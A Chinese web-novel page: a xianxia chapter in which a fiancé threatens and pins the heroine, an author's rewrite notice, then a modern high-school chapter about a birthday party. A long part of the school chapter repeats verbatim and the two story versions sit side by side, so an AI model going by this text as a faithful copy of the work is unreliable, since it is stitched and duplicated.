四周有兽鸣越来越近,近得裴甜打了个颤。 现在她不能用灵力,也不知道周随把她扔在哪里的,仙山的凶兽都极其暴躁,要是真冲出来一头…… 感受到死亡的威胁,裴甜小脸发白,心里忍不住骂周随撒气。 正把他恨得咬牙切齿的时候,一条黝黑的手臂从她背后伸出来,手里捏着几颗娇艳欲滴的野花。 花苗被连根拔起,用狗尾巴草十分草率地扎在一起,像捆白菜一样,根部还带着泥,泥土颤颤巍巍地悉数掉在她雪白的裙裾上。 裴甜瞳孔剧烈收缩了几秒,沉默着把目光从鲜艳的花朵上慢慢下移,停在自己兜着泥土的冰绡裙面。 身后的人看她没反应,又把另一只手伸到她面前。 这只手里捏着一串红彤彤、香气诱人的仙果。 问题是……这一串仙果,从枝丫到每个果子,全都长满了尖利的毒刺,像针一样冲着她的脸。 偏偏周随这个姿势看着有点像从后面把她圈起来。 裴甜后背感受到他身上热烘烘的,讨厌得不行,特别不自在地想往前躲,又慑于毒刺的威胁,只能僵在那里。 明明以前也闹得不怎么愉快,这么亲密的举动实在是不合适,他怎么心这么大呢? 而且他真的一点都感觉不到她有多嫌弃他吗。 裴甜大概知道他是什么情况了,苦恼地皱着眉,用手腕挡开他的手臂,没什么情绪地叫了一声:“周随。” 这似乎是她第一次叫他的名字。 周随耳朵发痒,“嗯”了声,从后面转到侧面,把花和仙果都递给她。 裴甜看了两眼白菜,哦不是,野花,把头偏过去,不想接。 她才不要这种东西。 “要不要,不要扔了。”周随看她那么瞧不上的神情,迟迟不拿,语气也随之变冷。 裴甜怕他,人在屋檐下,不得不低头,又转过来看着他手里的东西,犹豫了几秒,还是没好气地说:“我怎么要,全是刺,还有泥,脏死了。” “那把刺拔了。”周随也不管她要不要,直接把花撂在她大腿上,跟她坐同一块石头,双腿大剌剌地分开,手肘撑在膝盖上,低头一个果子一个果子地把刺给她拔下来。 裴甜眼皮抖了抖,无法忍受被他这样的男人挨得这么近,两只小手撑着石头,努力往旁边挪了挪,把花束从她裙子上拿起来,慢吞吞地把泥土拂到地上。 冰绡还是染上了浅浅的泥印。 没事,不要跟他置气,不值得。 她盯着脏了的裙子,把花扔到背后,开始思考如何把剧情圆回去。 周随把刺拔完,果子放她手里,扫了一眼她的小腿,站起来,抱着手臂靠在树干上,盯着她。 那种成熟男性带着隐晦的占有欲的眼神,盯得她头皮发麻。 尤其是,她已经知道他的心思的情况下,这种眼神更吓人。 树叶被风吹得簌簌落下,在她脚边打着旋儿转圈。 察觉到气氛尴尬,周随先打破静谧,闲闲地说:“你那姓柳的靠不靠谱啊,这么久还没到。” 裴甜陷入沉思,懒得跟他说话。 周随等了一会儿,看见她吃得红艳艳的唇色,滚了滚喉结,别开眼,讽刺地笑:“原来你喜欢没本事的?” 裴甜又塞了一个果子在嘴里。 “你倒是给个话。” 裴甜吸了吸鼻子,瞥他一眼,扬着下巴不高兴道:“人家哪里没本事,人家本事大着呢。我就喜欢他这种家大业大又修为厉害的,你那么穷才没本事。” 周随歪头,冷冷道:“他那么厉害,怎么遇到这种小妖都打不过?” “什么小妖,至少是结丹境六阶的实力。”裴甜狠狠地咬了一口仙果。 “结丹境连我一道剑气都挡不住,到底我没本事还是他没本事。” 裴甜一下子如鲠在喉,憋了半天,恼羞成怒地说:“就知道打打杀杀,莽夫!野蛮!” “姓柳的不野蛮,那他怎么还没找到你。”周随冷冷地笑,“就算找到你了,你看他能不能把你从我手里带走。” 裴甜气得拿手拍了一下石头。 石头没怎样,她手红了,哆嗦了一下,慢慢背到背后去,捏起来:“你到底想干什么?能不能认清楚你自己的身份,我是神府千金,要风得风要雨得雨,你只是一个修为比我略强的寒门散修,不要再仗着是我未婚夫来找我了。我跟你是云泥之别,我不想见到你,也没有空跟你在这里绕,你最好赶紧退婚,或者我还能给你一些法宝、功法做补偿。” 她神情极其傲慢厌烦,说完这段话,空气都仿佛凝固了。 周随沉下黑眸,冷怒地盯了她好一阵,偏偏心里克制不住对她的肖想。 他冷笑道:“我就不退婚,你能把我怎么样。你让我不爽,我也不让你跟别人在一起,你再嫌弃我,还是得嫁。” 仿佛这样还不够,他又特别过分地补了一句恐吓:“嫁过来我就让你生不如死,看你还敢不敢嫌弃。” “你!”裴甜气得发抖,又找不到反驳的话,愤怒地盯了周随半天,深吸一口气,强行冷静下来。 腿上肆虐的妖力越到后面越痛,她光洁的额上浮起细细密密的冷汗,小脸煞白,咬着牙忍了一会儿,实在忍不住了,不情不愿地冲他开口:“你先帮我把、把妖力逼出来。” 周随看了看她雪白的脸色,沉默着蹲下去,把她的脚抓过来,运起灵力缓缓注入她的筋脉。 妖力像是感受到危险降临一样,疯狂四处乱窜。 裴甜疼得当场冲他哭出声,双脚乱踢,直接踢到他脸上。 周随歪了歪头,离她的脚远了点,黑眸沉沉,意味不明地盯着她,有威胁的意思。 他又不是傻子,能看不出她是故意踢他脸的。 很快,乱窜的妖力被他毫不费劲地逼出来,直接绞碎。 周随放开她的脚,仍单腿跪膝地蹲在那,看着裴甜。 刚刚他灵力进入她小腿的时候,裴甜莫名涌起一股说不出的羞耻,眼下耳尖还是红的,神色很不自然。 她别过脸,活动了一下脚踝,站起来拍身上的灰尘。 又看见周随还一直看着她,裴甜皱眉,有点烦:“你一直盯着我看什么?” 此时柳星云破空而来,落在裴甜身前,拿剑指着周随,歪头关切地问:“师妹你没事吧?” “没事。幸亏师兄来得及时,我就知道你一定会来救我的。我们快回去吧。”裴甜理了理衣袖,转身要跟柳星云走。 周随挡在她面前,看着柳星云道:“我没说你可以带走她。” 柳星云脸色一变,把裴甜护在身后,皱眉道:“周兄,你这样是与上古神府为敌。” “那又如何。”周随抬手,凭空一把长剑出鞘,古老威严的气息随之弥漫出来。 柳星云当然不是周随的对手,刚才大妖都接不住他一道剑气,别说打不过大妖的柳星云。 裴甜不能眼看着柳星云被周随打死,只好厌烦地蹙眉道:“周随,我们历练是正经事,你再这样,我要叫执法长老了。” 周随黑眸转向她,冷笑道:“他们都在深渊里,你叫。” ……难怪刚才没出来救她,合着那一群高手和两位长老正自身难保呢。 可是,好端端的,保护她的长老为什么会到深渊里去? 裴甜疑心是周随干的,又想不通他有什么必要这么做。 冷冷地瞪了他几秒,她怒道:“那你打吧,你打死他我也不会喜欢你的,我还会越来越讨厌你,我死也不嫁给你。” 周随深沉的黑眸里情绪变幻,盯着裴甜恼怒厌恶的神情看了好半天,胸口又酸又胀,冷得他难受,生气,又无处可以发泄。 原来她知道。 她只是不接受。 他还好笑地以为自己克制得很好,没有让她看出来。不过也对,喜欢怎么可能藏得住。 三个人在林子里寂静地剑拔弩张了很久。 最后周随冷漠地把脸转过去,先侧身让他们走。 等裴甜从他面前走过,他也收了剑跟上去。 柳星云回头,皱着眉看了一眼神色不善的周随,不知道什么情况,有点担忧。 周随和他们不熟,境界又高出太多,这么跟着容易出事。 而且他感觉周随对他有很明显的敌意,刚才似乎已经看到了他藏在胸口的天阶功法玉简。 裴甜和柳星云回到方才的禁地外,一行人收拾了一下,继续前行。 没过多久,她听到身后几个弟子压着声音低声议论:“那个人好像一直跟着我们!” “他想干什么,表情好吓人啊?” “跟着又有什么用,再跟着师妹也看不上他这种人。” 裴甜知道周随一直跟着她,但是她也没有办法不让他跟着。他又不听她的话,也不是他的对手,只能爱跟就跟吧。 何况原文里的确有周随和他们同行的剧情,只是时间提前了几天而已。 商丘仙山是少数几座谁都可以来的历练圣地,不但各种凶兽妖物横行肆虐,最危险的,还有各种凶恶的修士互相残杀。 一路上他们至少遇到五六批看他们眼神不对的人,但都因为看不透周随修为而放弃。 而且周随特别上道,就算跟裴甜生气,但是只要遇到妖物,他还是第一时间出手解决。 裴甜和几位师兄弟们再也不用战战兢兢,历练得十分惬意,宛如游山玩水一般,全程只需要跟在后面捡宝贝就行。 唯一美中不足的就是,队伍里气氛着实紧张。 周随出手过于凶悍粗鲁,每次都搞得天塌了似的,弄得所有人灰头土脸。 裴甜动不动就要沐浴换衣服,偏偏这种地方又很不方便,她就越看他越生气,越看越生气。 晚上他们停在小溪边的石滩上休息。 裴甜从储物镯里取出她的帐篷,金碧辉煌得像一座小型宫殿。 不过宫殿里面再大再舒适,周随也不可能住进去,裴甜实在是太讨厌他了,看见他就来气。 他也很有自知之明,背对她的宫殿,一个人沉默地坐在溪边,看着潺潺的溪水,手里拿着野果,大口地啃。 忽然一块石头砸在他旁边,溅起一片水花浇在他脸上身上。 周随沉着黑眸,缓缓转过去,看见换了新裙子的裴甜。 她雪白的肤色像是在发光,站在那里,比月色更美,撩人的乌发被晚风吹得微微浮沉,如同神祇。但小脸上的表情极其高傲,娇声冲他说道:“你去捡柴生几堆火在这里,柳师兄要烤肉。” 周随一整天都没跟她讲话,此时又听她用吩咐下人的语气跟他提要求,冷笑一声,没动:“老子没空。” “你哪里没空,不是在吃果子么?”裴甜斜了他一眼。 “他没长手?想吃自己去捡。” “又不是不分给你,你这是什么态度!” 周随又啃了一大口野果,声音清脆,冷冷道:“我不想吃。” “人家一国皇子,哪里知道怎么捡柴,你从小捡到大的,捡柴不是你的强项么?” 殿内的几个师兄弟已经面如土色,很害怕师妹这么说下去,会被直接打死。 可裴甜也没别的好办法让他答应退婚了,只能拼命让他讨厌。至于她死后还能不能成为反派的白月光,那不是她考虑的范畴,反正她剧情走完就行。 周随捏着野果的手一紧,汁水滴滴哒哒往下滴。 他随手把果子扔溪水里,站起来盯着她:“要这么说,我的强项可不止捡柴。” 裴甜眉毛一皱,正要问那还有什么,就看见他往她这边走过来,脸色很不好看,似乎是要发火。 她不知道他发火是什么样子,会不会具有攻击性,只好他走几步,她就跟着往后退。 他大长腿,一步跨上三步台阶,看见她退到贴在墙壁上了,还在步步紧逼。 裴甜刚要让他不许走了,下一瞬她已经被他压在宫殿墙壁上,两只肌肉鼓胀的手臂撑在她肩膀两边,狂放的漆黑眼神充满危险,忍无可忍道:“你别太过分了,裴泠。” 他语气冷淡低沉到极点。 周随突然贴得太紧,坚硬的胸膛轻轻压着她娇软挺翘的酥.胸,浅淡又燥热的雄性荷尔蒙气息笼罩下来。 因为他身材高大,这样压着她,不得不弯着点腰,微微歪头看她的脸,看起来像要吻她一样。 她的背抵在墙上,垂着眼皮,浓密的睫毛被月色投下一片阴影,遮住了眼睛,看不清她的情绪,只看得见雪白的脸上开始泛红。 周遭气氛炙热暧昧。 一个年纪比她大十岁、身份是她未婚夫、并且她特别讨厌的男人,对她做这种压迫性的亲密举动,裴甜微妙的羞恼大过了愤怒,脸腾一下红透了,不敢看他近在咫尺的喉结,眼神慌张地到处乱躲。 这么热的天气,两个人都穿得单薄,他这样,和……和耍流氓有什么区别。 裴甜憋了一会儿气,把自己的脸憋得越来越红,像要滴血似的。 她忍无可忍,把两只小手举起来,想推开他,却又尴尬地停在他双臂旁边的空中,不知道该推他身上哪里。 这个气氛推哪里都不对,她完全不想碰到他身上任何一个地方。 殿门口的师兄弟们看见裴甜气得脸都红了,内心感叹果然走到了这一步,纷纷站起来想要劝阻,又被周随杀人的眼神吓退。 “你、你先放开。我哪里过分,你一介散修爱慕我,不应该是低到尘埃里去讨好我吗?我让你捡柴你都要对我动手,更别提以后了,就这样还想娶我,简直做梦。”裴甜特别不习惯这种姿势跟人说话,入戏都不能好好入戏了,现在是她自己在羞恼,所以说话的声音小小的,底气不足。 她顿了顿,又讨厌地看他一眼,急忙移开,掩饰性地强调道:“做梦都不可能。” 周随沉沉的黑眸一直盯着她,不放过她任何一点细微的表情变化,听她这么说,反倒扯着唇角淡淡地笑了声,平静地问:“那你脸红什么?” 裴甜不耐烦道:“男女有别,你这样我自然是会脸红的,换别人这样无礼我也是一样。” 说完,她顿了顿,眉头蹙得更紧,又说了一遍:“你快点放开我!” 周随不是想听到这个答案,但这又是最合理的,她的表情也不是在说谎。 他狂跳的心脏沉下去。 他就知道不该有幻想,应该克制自己,在她来退婚的时候直接答应她的。 他后悔了。 他本来生性嚣张,天王老子都不放在眼里,可是今天他对她先低了头,只是不想她为难,受了她一天的气他也还是要跟着。 “我要是不放呢。”周随固执地歪头看着她眼睛,一动不动。 裴甜吸了口气,伸手去推他的手臂,推不动。 两个人又僵持几分钟。 裴甜不明白,他为什么在这件事上耐心这么好。 她又使劲推了几次,周随还是纹丝不动。裴甜想了想,渐渐红了眼睛,眼神娇气中带着点恼怒的冷意,跟周随的黑眸对视几秒,又垂下去,睫毛抖动,豆大的眼泪一颗接一颗地滚下来。 她带着哭音娇娇弱弱地小声跺脚道:“放开呀!” 周随看见她眼泪真往下掉,愣了一下,立刻不自然地放开她,刚想解释,裴甜已经抬袖遮着脸哭着跑进去了,还重重地把门关上,不给他一点机会。 门关上,娇气的哭音还是一直传出来,呜呜咽咽的,哭得别提有多委屈。 周随被她哭得不知道怎么形容,心好像被人用手捏了一把,整个人抑制不住的烦躁。 过了一刻钟,他从林子里回来,听见她还在那哭,手握成拳又松开,拍了拍关上的殿门,没什么情绪地跟里面说:“火生好了。” 里面哭声停了停,又继续。 门也没人敢开。 周随低声说:“你别哭了,我不是故意的。” 里面过了片刻,果然没哭了,周随正要继续,就听见裴甜抽泣着回了他一句:“我讨厌你,我再也不会跟你说话了。” 周随要出口的话全卡在喉咙里,沉默了一阵,转身看向那一堆鹅卵石上生好的火堆。 跳跃的火苗映得他两只黑眸泛起了猩红,然后瞬间熄灭。 他又听见里面响起裴甜嗲声嗲气告状的声音:“娘!你们定的那个未婚夫他欺负我,他刚才对我动手,说我过分,还说我嫁过去要让我生不如死。” “真的呀,师兄弟们也可以给我作证的!” 众师兄弟:“对,刚才师妹气得脸都红透了。” 裴甜:“……” “我就说散修不能嫁,他对我真的好凶,人又狠,像没开化的野人一样,跟他说不通。” “就因为我想生火,让他去捡柴,他不肯去。我看你们再不给我退婚,我迟早死在他手里。” “我不管,你们给我退婚,要不我不回去了呜呜呜……” 周随坐回溪边石头上,不想再听了,听多了操蛋。 他这未婚妻告家长是真的会。 13. 第 13 章 最近一个多月确实公司和家里的事情太多了,不能更新,状态也不对,我会在十一月初重写本文后正常更新~这段时间的断更很抱歉! 、 这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 “……野哥刚去洗手间了,没拿手机。嫂子别生气啊,现在哪儿呢?” “噢噢噢,好,好,等野哥出来我跟他说。” 何一昂迫不及待地挂了电话,吞吞吐吐地跟周野说:“野哥,嫂子在楼下等你,说要跟你把话说清楚。” 周野歪头,坐了两分钟,把腿放下来,起身往外走。 “牛逼,野哥还真追啊。”傅阳啧啧地摇头感叹,竖了个大拇指,“校花就是校花,以前谁有这待遇。” 之前那么多女朋友,谁敢当场撂脸子,周野理都不会再理一下。 现在童清欢不但在周野的生日会上摔杯子,周野还要下去哄她。 旁边坐着的几个女生,有两个表情悻悻的,但也还好,就是尴尬撇嘴,只有一个特别可爱的女生,看见周野开门去找童清欢,瞬间变了脸色,紧紧咬着唇,欲言又止地跟着站了起来。 现在又听见傅阳火上浇油的这句话,更加难堪,双手握拳地在那等了两分钟,还没见周野回来,也捂脸哭着推门出去了。 “嫂子——诶这……” 那一桌的人你看我我看你。 没几秒,他们竟然像松了口气似的,紧张的神色荡然无存,全都极其松弛地躺回沙发上,拿起啤酒瓶高兴地碰在一起。 何一昂司空见惯地说:“行了行了,野哥的车翻完了,人也走了,咱们燥起来啊!” “赶紧放个嗨到我想蹦迪的音乐。” 才说完,周野又进来,随手甩上门,神色淡淡的坐回去。 “速度啊野哥,这么快?”何一昂坏笑着问,“嫂子哄好了吗?” 周野扫他一眼,把头偏过去,翘了个二郎腿,从胸膛里发出一声嗤笑:“老子哄个毛。” “不是吧,野哥你追出去跟人分手啊?这也太狠了点。” “都怪许沐杰这个憨批,出些什么损招,嫂子输了就算了,还非要让人翻跟头,人穿裙子怎么翻。” 许沐杰:“……不是你们叫玩点大的吗?她不想翻跟头,还可以喝酒啊。” “嘿你这人,直男。” “玩不起还跟老子摆脸色,不分留着上供呢。”周野从小被女生惯到大,想要什么都可以轻易得到,养成这种玩世不恭的二世祖性格,一切由着自己的性子来。 虽然他在钱财上异常大方,几乎是女朋友要什么就买什么,钱包都能直接扔过去,随便拿,但感情上从不肯有半点付出半点体谅,像个小孩似的,自私冷漠得惊人,连对他爸他妈都是一样。 何一昂蹭到周野旁边去,安慰他:“野哥别生气,拜拜就拜拜,下一个更乖,咱们回头再找个漂亮听话的。” “行。”周野跟个没事人一样,看何一昂已经喝大了,随便应了一句,推开他,懒得搭理,“莫挨老子,边儿吐去。” “不是,我没醉,哥,野哥我跟你说,我们班来了个新同学,比校花还好看,就上周五我跟你提的那个高一学妹,原来不是学妹,是新同学,就坐我旁边……”何一昂抱住周野的胳膊不撒手,絮絮叨叨地说,“野哥你经验多,给我支个招,怎么追得到她……” 傅阳出了张牌,不屑地笑:“野哥有个屁的经验,都是别人追他,你看他什么时候追过人?” “也是哈。” “那可不。”傅阳非常内行地说:“中午是听说你们班来了个特好看的转学生,你怎么不把人带过来玩,带出来不就好追了吗?” “我叫了,人不来啊。” “你说是野哥过生日啊,这能不来吗?” “她知道,她不来。”何一昂说到这,呕了一声。 “操,你他妈要吐老子身上,老子让你吃下去。”周野恶心坏了,立刻把手臂抽出来,换到对面沙发上去坐。 傅阳往旁边挪了挪,给周野让座位。 这个位置刚好正对着角落。 周野眼神没有往角落看,看也看不清。 一桌人都很意外,啧啧地笑:“野哥的面子都不给?转学生有点狂啊。” 周野无所谓地嗤了声,对这个话题没什么兴趣。 何一昂要去洗手间吐,临走还不忘帮裴甜说话:“你们别、别,人刚转过来,还不知道野哥呢。” 躁动的音乐声突然大了起来,好些人进了舞池,跟着地板起伏晃动,有几对男女生抱在一起,男生的手在女生身上乱动。 裴甜的手机突然嗡嗡地响,她拿出来看了一眼,跟苗曦说:“我妈妈给我打电话,我出去接一下。” 苗曦点头。 她拉开门出去,又轻轻关上,过道没什么人,隔音效果又好,安静得不行。 裴甜接起电话:“妈妈。” “你在哪儿呢?这么晚还不回来,饭都要冷了。” “我在市中心街,有同学过生日,我马上就回来了。” “六中的同学吗?” “嗯。” “男生还是女生啊?妈妈跟你说,你去了新学校可不能跟着他们瞎混啊,他们有钱有势的不靠学习吃饭,咱们不一样,爸爸妈妈的希望都在你身上了,天天这么起早贪黑的,新衣服都舍不得买一件,你要争气知道吗。” “我知道的,妈妈。”裴甜抿了抿唇,垂下眼睛,低声说,“是女同学过生日,我们班学习委员。” “哦,行,那你早点回来,别玩太晚了!” “好。” 裴甜挂了电话,在寂静的走廊站了几秒钟,转身进去,到角落里拉了拉苗曦,凑到她耳边说:“苗曦,我妈妈叫我回去吃晚饭了,我们走吧。” 苗曦顿了一下,点点头,跟着裴甜悄悄往门外走。 短时间内出去进来又出去,不停地开门关门,引起了周野那桌的注意。 裴甜隐约听见了一句“哪个班的啊这么吊,招呼都不打一个就走,野哥还在这呢”,她急忙把门关紧,拉着苗曦快步下楼。这一节是生物课,没几个认真听讲的,都在开小差。 何一昂拿笔敲了敲她的桌子,趴在桌上,歪着头小声跟她说:“新同学,晚上一起去吃饭吗?很多同学都会去哟,能让你迅速融入我们六中这个和谐的大集体。” 裴甜刚才听到了他们的对话,知道晚上是周野生日聚会,看着他摇了摇头。 “别这么不给班级大佬面子啊,好多人想去我还不叫呢,去吧去吧,啊?去吧?”何一昂看裴甜不理他,专心做笔记,伸手去摇她的桌子。 裴甜被晃得写不了字,皱眉忍了一会儿,桌子停了,她又继续写。 没一分钟,老师转过去在黑板上抄题,桌子又开始晃。 她忍了三四次,桌子还没有要停的意思。 裴甜被缠得有点烦,无语了片刻,耐着性子说:“不行,我今天晚上很忙,下次吧。” “忙什么啊?” 何一昂的同桌看不下去,“哎”了声,把他拉过去:“我说你老招惹新同学干嘛?” “我这不是关心新同学吗,想帮她尽快融入咱六中啊。”何一昂说得还真像那么回事儿。 李轩说:“人不想去,你别勉强了,影响人认真听课。” 何一昂和李轩两人你一句我一句地贫上了,没再来打扰她。 裴甜松了口气,重新捏起笔做笔记。 六中高三以前都没有晚自习,下午五点半放学。裴甜收拾好东西,不紧不慢地坐车回家。 爸爸妈妈还没下班,家里一个人也没有,静悄悄的。 她把校服拆出来洗干净,正要写作业,抽屉里手机嗡嗡地振动,有人打电话。 她的手机号没几个人知道,会晚上给她打电话的,更没有几个。 裴甜想到那条短信,有点迟疑,没有伸手去拉抽屉。 但铃声响个不停,她只好把手机拿出来,看见来电提醒是苗曦,心里才松了口气。 “喂?” “甜甜,你知道大神今天过生日吗?” 裴甜一听苗曦那么激动兴奋的声音,就知道她在打什么主意,直接拒绝:“学校里听说了,但是今天作业特别多,我去不了。” 苗曦惨叫:“啊!怎么才去第一天就那么多作业啊,老师太过分了!” “嗯,所以我要开始做作业了苗曦。” “等等,等等,甜甜你真的不去吗?你不去的话,我一个人到了那孤零零的,谁也不认识,好可怜的。要不,甜甜你陪我去一会儿,就去一小会会儿,回来我住你家,熬夜帮你赶作业行不行?” “不要。”裴甜镇静并坚决地拒绝。 她有点害怕周野那一群人,不想主动去惹麻烦。而且白天她都已经拒绝过何一昂了,晚上又去,让人家怎么想。 “甜甜~”苗曦冲她撒娇,“我真的好想去,我们还像上次那样,就去玩一会儿,我不过去打招呼,好不好嘛。” “不好。” “甜甜你最好了,我……” 苗曦软磨硬泡了快十分钟,裴甜没办法,只好答应陪她去一会儿,两人约在市中心街广场见面。 周野的生日聚会地址是一个高消费的私人会馆,六点开始。 裴甜和苗曦买好礼物到地方的时候,已经快七点,里面的人早嗨上了。 包间的门一打开,扑面而来一股浓重的酒气,混着刺鼻的汽水和食物的香甜。 里面音乐放得很大声,还有小型的舞池,色彩绚丽的灯光转来转去,亮度不高,有点昏暗。地上撒满了彩带,十层的巨大蛋糕被玩得一片狼藉,气氛热烈高潮,完全是紫醉金迷的场面。 一屋子人影憧憧地嬉笑打闹,不太能认得清谁是谁,也没人去注意开门进来的她们。 裴甜拎着袋子,四处看了看,最里面靠墙处摆了一大堆花束,还有各种礼品盒子袋子,堆得小山那么高,应该是放礼物的地方。 她过去把礼物放好,默默找了个角落的沙发坐下。 苗曦端了两杯果汁过来,给她一杯。 沙发前面的小桌上放了一碟小蛋糕和点心零食,左边还有几排料理自助。 裴甜没有食欲,有也不想在这里吃,只用两只小手抱着果汁喝。 苗曦在包间里找了半天,总算找到了周野的身影,激动地指了指前面被沙发围起来的大桌:“甜甜,大神真的在诶!四舍五入,我给大神过生日了呜呜呜!好想过去送生日祝福啊……” 裴甜转头,乌黑的瞳仁静静地凝视苗曦。 她立刻摆手:“那是不可能的,今晚我只守着你,哪儿也不去。” 裴甜被她逗笑了,安静地盯了一会儿桌面,实在百无聊赖,也抬起头看过去。 周野穿着不知道什么潮牌的黑T恤,反正图案一如既往的夸张,两条大长腿交叠着坐在沙发里,歪着头抽烟,雾气缭绕的,遮住了他的神情。 但这个人似乎有种莫名的吸引力,在人群中像焦点一样,张扬地闪耀着,让人一眼只能看到他。 裴甜看了两秒,静静地把眼睛移开。 那一桌除了她认识的几个熟人,还有很多年龄大一些的社会青年,跟周野他们关系很好的样子。 周野左边坐了三四个女生,靠他最近的是白天见过的童清欢,看着不太高兴,又不便发作,一直强颜欢笑。 不过包间里太吵了,音乐又放得大声,根本听不清他们在说什么,只看见他们开始发牌,摇骰子。 童清欢跟着在玩,没多久,忽然愤怒地站起来,转头跟周野说了什么。 周野坐姿又大爷又懒散,眉眼藏着股嚣张劲儿,无所谓地看着站起来的女朋友,一点反应也没有。 童清欢抓起玻璃杯摔在旁边的地板上,一声脆响,四分五裂。 沸腾的包间里霎时鸦雀无声,音乐声也停了。 所有人大气都不敢出,转头望着他们,不知道是怎么回事。 周野把嘴里的烟拿下来,吐了口烟圈,脸上没什么情绪,明显压着一股火。 童清欢也不说话,僵在那一分钟,拿起包包,开门跑了出去。 何一昂张了张嘴,眼神移向周野,尴尬地问:“野哥不追啊?” 周野沉默地抽了会儿烟,把烟摁灭在烟灰缸里,淡淡地“嗯”了一声。 然后他手机响了。 他慢腾腾地从裤兜里摸出手机,看了一眼,又不在意地揣回去。 手机还一直在响。 谁都猜得出来是童清欢打的电话,周野就是不接。 何一昂傅阳他们也不敢劝,正尴尬的时候,周野的手机停了,何一昂的手机响起来。他看了眼来电提醒,嘶了一声,接起来,眼神却一直盯着周野的反应。 周野没看他,低着眼睛,又拿了一根烟咬在嘴里,旁边的女生拧开打火机,帮他点烟。 